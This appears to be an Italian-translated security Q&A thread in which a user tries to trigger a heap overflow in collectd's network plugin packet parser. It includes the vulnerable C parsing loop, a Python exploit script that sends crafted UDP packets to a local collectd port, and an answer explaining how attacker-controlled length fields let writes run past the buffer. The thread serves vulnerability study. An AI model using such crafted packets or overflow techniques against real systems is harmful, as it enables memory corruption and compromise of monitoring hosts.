Packet dump:430005004300050143000502430005034300050443000505430005064300050743000508430005094300050A4300050B4300050C4300050D4300050E4300050F430005104300051143000512430005134300051443000515430005164300051743000518430005194300051A4300051B4300051C4300051D4300051E4300051F430005204300052143000522430005234300052443000525430005264300052743000528430005294300052A4300052B4300052C4300052D4300052E4300052F430005304300053143000532430005334300053443000535430005364300053743000538430005394300053A4300053B4300053C4300053D4300053E4300053F4300054043000541
pkg_length:17152
pkg_type:1280
pkg_length(ntohs):67
pkg_type(ntohs):5
Break pkg_length > buffer_size

', sizeof (n));
    status = 0;

    while ((status == 0) && (0 < buffer_size)
            && ((unsigned int) buffer_size > sizeof (part_header_t)))
    {
        uint16_t pkg_length;
        uint16_t pkg_type;

        memcpy ((void *) &pkg_type,
                (void *) buffer,
                sizeof (pkg_type));
        memcpy ((void *) &pkg_length,
                (void *) (buffer + sizeof (pkg_type)),
                sizeof (pkg_length));

        pkg_length = ntohs (pkg_length);
        pkg_type = ntohs (pkg_type);

        if (pkg_length > buffer_size)
            break;
        /* Ensure that this loop terminates eventually */
        if (pkg_length < (2 * sizeof (uint16_t)))
            break;

        if (pkg_type == TYPE_ENCR_AES256)
        {
            status = parse_part_encr_aes256 (se,
                    &buffer, &buffer_size, flags);
            if (status != 0)
            {
                ERROR ("network plugin: Decrypting AES256 "
                        "part failed "
                        "with status %i.", status);
                break;
            }
        }
#if HAVE_LIBGCRYPT
        else if ((se->data.server.security_level == SECURITY_LEVEL_ENCRYPT)
                && (packet_was_encrypted == 0))
        {
            if (printed_ignore_warning == 0)
            {
                INFO ("network plugin: Unencrypted packet or "
                        "part has been ignored.");
                printed_ignore_warning = 1;
            }
            buffer = ((char *) buffer) + pkg_length;
            continue;
        }
#endif /* HAVE_LIBGCRYPT */
        else if (pkg_type == TYPE_SIGN_SHA256)
        {
            status = parse_part_sign_sha256 (se,
                                        &buffer, &buffer_size, flags);
            if (status != 0)
            {
                ERROR ("network plugin: Verifying HMAC-SHA-256 "
                        "signature failed "
                        "with status %i.", status);
                break;
            }
        }
#if HAVE_LIBGCRYPT
        else if ((se->data.server.security_level == SECURITY_LEVEL_SIGN)
                && (packet_was_encrypted == 0)
                && (packet_was_signed == 0))
        {
            if (printed_ignore_warning == 0)
            {
                INFO ("network plugin: Unsigned packet or "
                        "part has been ignored.");
                printed_ignore_warning = 1;
            }
            buffer = ((char *) buffer) + pkg_length;
            continue;
        }
#endif /* HAVE_LIBGCRYPT */
        else if (pkg_type == TYPE_VALUES)
        {
            status = parse_part_values (&buffer, &buffer_size,
                    &vl.values, &vl.values_len);
            if (status != 0)
                break;

            network_dispatch_values (&vl, username);

            sfree (vl.values);
        }
        else if (pkg_type == TYPE_TIME)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
            {
                vl.time = TIME_T_TO_CDTIME_T (tmp);
                n.time  = TIME_T_TO_CDTIME_T (tmp);
            }
        }
        else if (pkg_type == TYPE_TIME_HR)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
            {
                vl.time = (cdtime_t) tmp;
                n.time  = (cdtime_t) tmp;
            }
        }
        else if (pkg_type == TYPE_INTERVAL)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                vl.interval = TIME_T_TO_CDTIME_T (tmp);
        }
        else if (pkg_type == TYPE_INTERVAL_HR)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                vl.interval = (cdtime_t) tmp;
        }
        else if (pkg_type == TYPE_HOST)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.host, sizeof (vl.host));
            if (status == 0)
                sstrncpy (n.host, vl.host, sizeof (n.host));
        }
        else if (pkg_type == TYPE_PLUGIN)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.plugin, sizeof (vl.plugin));
            if (status == 0)
                sstrncpy (n.plugin, vl.plugin,
                        sizeof (n.plugin));
        }
        else if (pkg_type == TYPE_PLUGIN_INSTANCE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.plugin_instance,
                    sizeof (vl.plugin_instance));
            if (status == 0)
                sstrncpy (n.plugin_instance,
                        vl.plugin_instance,
                        sizeof (n.plugin_instance));
        }
        else if (pkg_type == TYPE_TYPE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.type, sizeof (vl.type));
            if (status == 0)
                sstrncpy (n.type, vl.type, sizeof (n.type));
        }
        else if (pkg_type == TYPE_TYPE_INSTANCE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    vl.type_instance,
                    sizeof (vl.type_instance));
            if (status == 0)
                sstrncpy (n.type_instance, vl.type_instance,
                        sizeof (n.type_instance));
        }
        else if (pkg_type == TYPE_MESSAGE)
        {
            status = parse_part_string (&buffer, &buffer_size,
                    n.message, sizeof (n.message));

            if (status != 0)
            {
                /* do nothing */
            }
            else if ((n.severity != NOTIF_FAILURE)
                    && (n.severity != NOTIF_WARNING)
                    && (n.severity != NOTIF_OKAY))
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "unknown severity %i.",
                        n.severity);
            }
            else if (n.time <= 0)
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "time == 0.");
            }
            else if (strlen (n.message) <= 0)
            {
                INFO ("network plugin: "
                        "Ignoring notification with "
                        "an empty message.");
            }
            else
            {
                plugin_dispatch_notification (&n);
            }
        }
        else if (pkg_type == TYPE_SEVERITY)
        {
            uint64_t tmp = 0;
            status = parse_part_number (&buffer, &buffer_size,
                    &tmp);
            if (status == 0)
                n.severity = (int) tmp;
        }
        else
        {
            DEBUG ("network plugin: parse_packet: Unknown part"
                    " type: 0x%04hx", pkg_type);
            buffer = ((char *) buffer) + pkg_length;
        }
    } /* while (buffer_size > sizeof (part_header_t)) */

    if (status == 0 && buffer_size > 0)
        WARNING ("network plugin: parse_packet: Received truncated "
                "packet, try increasing 'MaxPacketSize'");

    return (status);
} /* }}} int parse_packet */

Aggiornamento 2:

Hmmmm ... no go ... cercava di superare parse_part_values () ma c'è un controllo per questo:

Hmmmm ... qui si ferma:

[2017-02-12 16:43:18] plug-in di rete: parse_part_values: pacchetto troppo breve: si prevede un blocco di dimensione 726, ma il buffer ha solo 51 byte rimasti.

Ecco il codice che produce sopra:

exp.py 

import socket

UDP_IP = "127.0.0.1"
UDP_PORT = 25826

print "UDP target IP:", UDP_IP
print "UDP target port:", UDP_PORT

sock = socket.socket(socket.AF_INET, # Internet
             socket.SOCK_DGRAM) # UDP

str="\x00\x05\x00\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x40\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x63\x00\x00\x05\x00\x40\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x05\x00\x42\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x00\x00\x05\x00\x42\x40\x6c\x61\x70\x74\x6f\x70\x00\x05\x01\x00\x0c\x00\x00\x00\x00\x58\x9c\xc5\x59\x00\x02\x00\x08\x61\x6e\x79\x00\x00\x03\x00\x05\x00\x00\x04\x00\x0a\x67\x61\x75\x67\x65\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x05\x00\x15\x00\x00\x00\x00\x06\x00\x33\x00\x50\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40\x01\x00\x00\x00\x00\x00\x00\x10\x40"


sock.sendto(str,(UDP_IP, UDP_PORT))

Di seguito è riportato un frame smontato in Wireshark per il codice sopra:

    
posta android_dev 10.02.2017 - 14:55
fonte

1 risposta

2

Poiché si sostiene che sia un overflow di heap, presumo che il buffer sia in heap. E questo è ciò che suggerisce la correzione che colleghi.

Il problema è che pkg_length è preso dal buffer, che è un pacchetto di rete che viene quindi fornito da un client di connessione: 

memcpy ((void *) &pkg_length,
        (void *) (buffer + sizeof (pkg_type)),
        sizeof (pkg_length));

Che uint16 può essere impostato su qualunque sia la persona che invia il pacchetto. Ora, molto spesso viene eseguito quanto segue: 

buffer = ((char *) buffer) + pkg_length;

Che va bene a meno di pkg_length > buffer_size , ma c'è un controllo a riguardo all'inizio: 

if (pkg_length > buffer_size)
    break;

Il problema inizia con il fatto che ci possono essere più pacchetti nel buffer, dato che abbiamo un ciclo while su di esso. Secondo, abbiamo tutte quelle funzioni parse_* che aggiornano buffer_size , ma non vengono superate pkg_size . Queste funzioni possono solo sapere cosa hanno analizzato e aggiornare buffer_size di conseguenza.

Quindi, sul primo pacchetto inviamo un enorme pkg_length (che è comunque inferiore a buffer_size ) e anticipiamo buffer forward. Quindi, in un secondo o terzo (o ulteriore) pacchetto possiamo aggiungere pkg_length che è più grande del resto del buffer ma ancora più piccolo di buffer_size . Questo ci permetterà di scrivere dopo la fine del buffer.

    
risposta data 12.02.2017 - 01:11
fonte

Leggi altre domande sui tag

Che cosa determina il tipo di indicatore HTTPS mostrato da Chrome? [duplicare] Come vengono costruiti i messaggi PGP? [chiuso]